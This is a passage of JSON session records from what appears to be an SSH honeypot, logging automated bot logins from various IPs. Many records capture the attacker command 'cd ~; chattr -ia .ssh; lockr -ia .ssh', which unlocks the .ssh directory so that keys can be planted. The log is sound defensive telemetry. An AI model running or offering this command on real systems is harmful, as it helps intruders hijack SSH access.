  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:53:36.137746+00:00",
  "ended_at": "2026-08-26T09:53:36.915615+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2092
 },
 {
  "id": "9e17b38c-e479-4124-a8d2-58c56c165c59",
  "name": "hardy-shifting-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 36018,
  "username": "fedora",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:53:23.806112+00:00",
  "ended_at": "2026-08-26T09:53:24.559667+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ca21b8b-9d41-42f8-8fab-2e4edfa8f393",
  "name": "sincere-kindly-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 37646,
  "username": "student8",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:49:12.918639+00:00",
  "ended_at": "2026-08-26T09:49:13.578868+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2081
 },
 {
  "id": "5a6dfa98-ef88-4b70-9f16-ec4da7eb6a63",
  "name": "dusky-meadow-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 44540,
  "username": "student8",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:48:59.411378+00:00",
  "ended_at": "2026-08-26T09:49:01.974431+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f1a81f9-6b3c-4433-bb5c-cc1c8e140256",
  "name": "autumn-regal-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 37650,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:48:56.427940+00:00",
  "ended_at": "2026-08-26T09:48:58.239290+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6919b2d7-cef4-46de-b8eb-173179143281",
  "name": "forlorn-fabled-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 56138,
  "username": "abcdefg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 595,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:40:26.712522+00:00",
  "ended_at": "2026-08-26T09:40:27.439970+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2069
 },
 {
  "id": "c0a94a03-7aa6-4495-87ab-182aa8950ff5",
  "name": "ivory-sturdy-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 32864,
  "username": "abcdefg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:40:11.800925+00:00",
  "ended_at": "2026-08-26T09:40:13.586561+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ece6236c-f987-4314-9f0e-e29d621cd9c1",
  "name": "sterling-glacial-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 32858,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:40:08.920277+00:00",
  "ended_at": "2026-08-26T09:40:10.168837+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f342cf91-46b6-4663-a6cd-92403fbcd750",
  "name": "amiable-silent-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 58350,
  "username": "cpg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:31:43.457741+00:00",
  "ended_at": "2026-08-26T09:31:44.119534+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "a4163088-8fc5-46a5-a3a4-9e82b6f38ae3",
  "name": "lofty-fabled-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 47686,
  "username": "cpg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:31:30.767611+00:00",
  "ended_at": "2026-08-26T09:31:32.691078+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c1f6698-5755-41d9-a772-0cda63287b4a",
  "name": "creaky-diligent-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 59822,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 591,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T09:18:23.297909+00:00",
  "ended_at": "2026-08-26T09:18:24.030659+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "4990aded-3765-44ea-8b1c-68ebe2f34a7c",
  "name": "distant-reedy-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 39530,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:18:09.410071+00:00",
  "ended_at": "2026-08-26T09:18:11.495916+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0b3d785e-45cf-4aca-ba91-cb1eb945f318",
  "name": "ivory-graceful-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 60562,
  "username": "antigo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T09:10:02.687123+00:00",
  "ended_at": "2026-08-26T09:10:03.460776+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c73c92c-5551-4298-ac49-9b219f33e5f9",
  "name": "polar-leafy-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "171.25.158.74",
  "src_port": 33096,
  "username": "crafty",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T06:44:45.650054+00:00",
  "ended_at": "2026-08-26T06:44:46.349201+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2038
 },
 {
  "id": "f0900638-e8f0-4234-ab48-55663f2aedda",
  "name": "polar-kindly-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.74",
  "src_port": 33120,
  "username": "crafty",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:44:36.750326+00:00",
  "ended_at": "2026-08-26T06:44:38.571118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06f017d2-bce2-4cac-8c7d-3d9c4e732cad",
  "name": "bitter-slender-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.74",
  "src_port": 33112,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:44:34.505371+00:00",
  "ended_at": "2026-08-26T06:44:36.051989+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "937901bb-22db-4bdc-8429-a9c8dbb4dd58",
  "name": "civil-drifting-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.144.28.166",
  "src_port": 57790,
  "username": "rustserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 676,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T06:44:12.693862+00:00",
  "ended_at": "2026-08-26T06:44:13.399402+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2044
 },
 {
  "id": "9f9ccaaa-b7fb-4ea8-a863-a40dbf370713",
  "name": "bold-dappled-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.144.28.166",
  "src_port": 43450,
  "username": "rustserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:43:59.362303+00:00",
  "ended_at": "2026-08-26T06:44:00.459847+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8436d19c-b3d2-468e-a7ee-566d553813ff",
  "name": "solemn-solar-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.144.28.166",
  "src_port": 57800,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:43:56.494681+00:00",
  "ended_at": "2026-08-26T06:43:58.004167+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74526c11-02f0-421e-bc64-60a9b9ce3ee7",
  "name": "gilded-glacial-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.143.238.100",
  "src_port": 53956,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T05:47:19.457008+00:00",
  "ended_at": "2026-08-26T05:47:19.533615+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3807
 },
 {
  "id": "8d3ebad5-45c5-483b-a248-c97e450adef6",
  "name": "stoic-craggy-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.238.100",
  "src_port": 55966,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:47:06.326927+00:00",
  "ended_at": "2026-08-26T05:47:06.666951+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69b66255-9dd1-4346-b8bb-017fddfa2819",
  "name": "curious-supple-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.238.100",
  "src_port": 54488,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:46:58.028486+00:00",
  "ended_at": "2026-08-26T05:46:59.235725+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5dc2d43e-2ad0-433e-8d04-722c8431dab1",
  "name": "faded-canny-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.143.238.100",
  "src_port": 54266,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:46:56.600082+00:00",
  "ended_at": "2026-08-26T05:46:57.523051+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c0f1f91f-14eb-443c-927e-66e77cd79df1",
  "name": "golden-genial-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.224.160",
  "src_port": 56948,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 648,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T05:01:27.203810+00:00",
  "ended_at": "2026-08-26T05:01:27.406284+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3963
 },
 {
  "id": "ecf9edcf-ba31-41e0-8116-1801d77b95fc",
  "name": "ancient-twilight-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.224.160",
  "src_port": 57244,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:00:54.430550+00:00",
  "ended_at": "2026-08-26T05:00:54.860383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "80760910-df33-40c5-93de-8168d8870bd2",
  "name": "knotted-humble-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.224.160",
  "src_port": 59502,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:00:34.996808+00:00",
  "ended_at": "2026-08-26T05:00:36.282260+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "849d6a3e-a6e3-4776-8293-4fbf94add73e",
  "name": "pleasant-hardy-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.224.160",
  "src_port": 56962,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:00:31.800184+00:00",
  "ended_at": "2026-08-26T05:00:33.704131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ccdc008-b8d0-494b-bda7-cf9914f7326c",
  "name": "diligent-prickly-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.224.160",
  "src_port": 60818,
  "username": "pavel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T04:54:56.496652+00:00",
  "ended_at": "2026-08-26T04:54:58.530166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e55f99ec-d1fd-4261-aa4a-2345aa5c17c4",
  "name": "fearless-silent-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.138.48.216",
  "src_port": 47728,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T03:01:35.297128+00:00",
  "ended_at": "2026-08-26T03:01:37.068582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82bee72a-1d4d-4b86-8405-c3a05adbf23c",
  "name": "tranquil-restless-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.138.48.216",
  "src_port": 47720,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T03:01:32.727634+00:00",
  "ended_at": "2026-08-26T03:05:33.252303+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "c72c6066-3a0b-45ff-9582-797fa577a4e0",
  "name": "creaky-candid-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.190.51.254",
  "src_port": 54534,
  "username": "mysql",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 80,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T23:54:45.005639+00:00",
  "ended_at": "2026-08-25T23:54:45.156423+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3266
 },
 {
  "id": "be48baa7-47c1-4acc-b8b6-9b4b9ff46a9d",
  "name": "hardy-nameless-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.190.51.254",
  "src_port": 60006,
  "username": "mysql",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:54:31.679768+00:00",
  "ended_at": "2026-08-25T23:54:31.818549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d9b80df-a659-4a8c-926a-30b0542bdb51",
  "name": "keen-snowy-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.190.51.254",
  "src_port": 54554,
  "username": "mysql",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:54:24.080613+00:00",
  "ended_at": "2026-08-25T23:54:25.899021+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b9152319-7cc6-4514-bb3f-bf231374c080",
  "name": "electric-rambling-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.190.51.254",
  "src_port": 54544,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:54:23.268354+00:00",
  "ended_at": "2026-08-25T23:54:23.898443+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f297c43-5549-4b8b-91b0-0e20a94077d3",
  "name": "courtly-silent-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "66.116.242.235",
  "src_port": 53858,
  "username": "ftpsecure",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 645,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T23:02:36.705855+00:00",
  "ended_at": "2026-08-25T23:02:36.911752+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3443
 },
 {
  "id": "d4f5dfd6-126c-41f8-bf5d-c2c8b95db06f",
  "name": "hushed-proud-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "66.116.242.235",
  "src_port": 33386,
  "username": "ftpsecure",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:02:19.203515+00:00",
  "ended_at": "2026-08-25T23:02:19.669125+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d136dcf6-dfbb-4203-8105-4c464235242f",
  "name": "ivory-airy-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "66.116.242.235",
  "src_port": 53902,
  "username": "ftpsecure",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:02:03.743662+00:00",
  "ended_at": "2026-08-25T23:02:04.919493+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96bdae2f-320f-47ef-ae12-62e75ba2dbb5",
  "name": "slender-amiable-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "66.116.242.235",
  "src_port": 53888,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T23:02:01.595784+00:00",
  "ended_at": "2026-08-25T23:02:02.548358+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02d24a53-b8a1-475b-9430-57bff8df9935",
  "name": "dapper-umber-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "107.150.103.210",
  "src_port": 26246,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T21:16:25.635410+00:00",
  "ended_at": "2026-08-25T21:16:25.703055+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3446
 },
 {
  "id": "e7a6b43a-b63c-43b3-8917-d473018c1a10",
  "name": "coastal-wooded-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "221.163.5.228",
  "src_port": 38312,
  "username": "prova",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 639,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T21:16:09.535535+00:00",
  "ended_at": "2026-08-25T21:16:09.734162+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3496
 },
 {
  "id": "2185efe5-547d-4645-965f-b5716c6fb1a6",
  "name": "glassy-smooth-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "221.163.5.228",
  "src_port": 42072,
  "username": "prova",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:15:51.814245+00:00",
  "ended_at": "2026-08-25T21:15:52.124007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a950cd08-c69e-46a4-a213-7e78fe11ed10",
  "name": "stormy-earnest-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "107.150.103.210",
  "src_port": 26252,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:15:48.123483+00:00",
  "ended_at": "2026-08-25T21:15:49.328343+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40427ffa-b9be-48d8-92f0-b223fdd7e9df",
  "name": "lonesome-gallant-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "221.163.5.228",
  "src_port": 39226,
  "username": "prova",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:15:36.237363+00:00",
  "ended_at": "2026-08-25T21:15:37.645947+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10ef6017-73ce-4cf0-af84-2f92cda8046d",
  "name": "plush-bronzed-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "221.163.5.228",
  "src_port": 38792,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:15:33.879671+00:00",
  "ended_at": "2026-08-25T21:15:34.984339+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ab997e2-6867-411e-a8f8-a92991c7610b",
  "name": "regal-blithe-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "107.150.103.210",
  "src_port": 19848,
  "username": "nat",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T21:09:00.061927+00:00",
  "ended_at": "2026-08-25T21:09:01.388865+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bcc62690-6b13-4e09-9252-beb72e7c31f1",
  "name": "early-foggy-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "106.58.173.254",
  "src_port": 47404,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:09:26.888493+00:00",
  "ended_at": "2026-08-25T20:13:27.452111+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "bd34f6e4-d94b-47d5-accb-f6619a1343f5",
  "name": "jovial-velvet-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "172.191.239.155",
  "src_port": 40632,
  "username": "noah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 71,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T20:08:25.924409+00:00",
  "ended_at": "2026-08-25T20:08:25.932797+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3738
 },
 {
  "id": "d7ef0796-fd90-4342-81c6-ed4dd9b9258b",
  "name": "mossy-indigo-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.191.239.155",
  "src_port": 45094,
  "username": "noah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:08:14.357725+00:00",
  "ended_at": "2026-08-25T20:08:14.656584+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b0051be-1251-4384-acff-bf6aeaedc1bd",
  "name": "gnarled-fickle-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.191.239.155",
  "src_port": 40650,
  "username": "noah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:08:09.375374+00:00",
  "ended_at": "2026-08-25T20:08:10.578706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "995ede53-a9d9-4fd1-8370-01b57ad8a463",
  "name": "peaty-indigo-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.191.239.155",
  "src_port": 40646,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T20:08:07.896030+00:00",
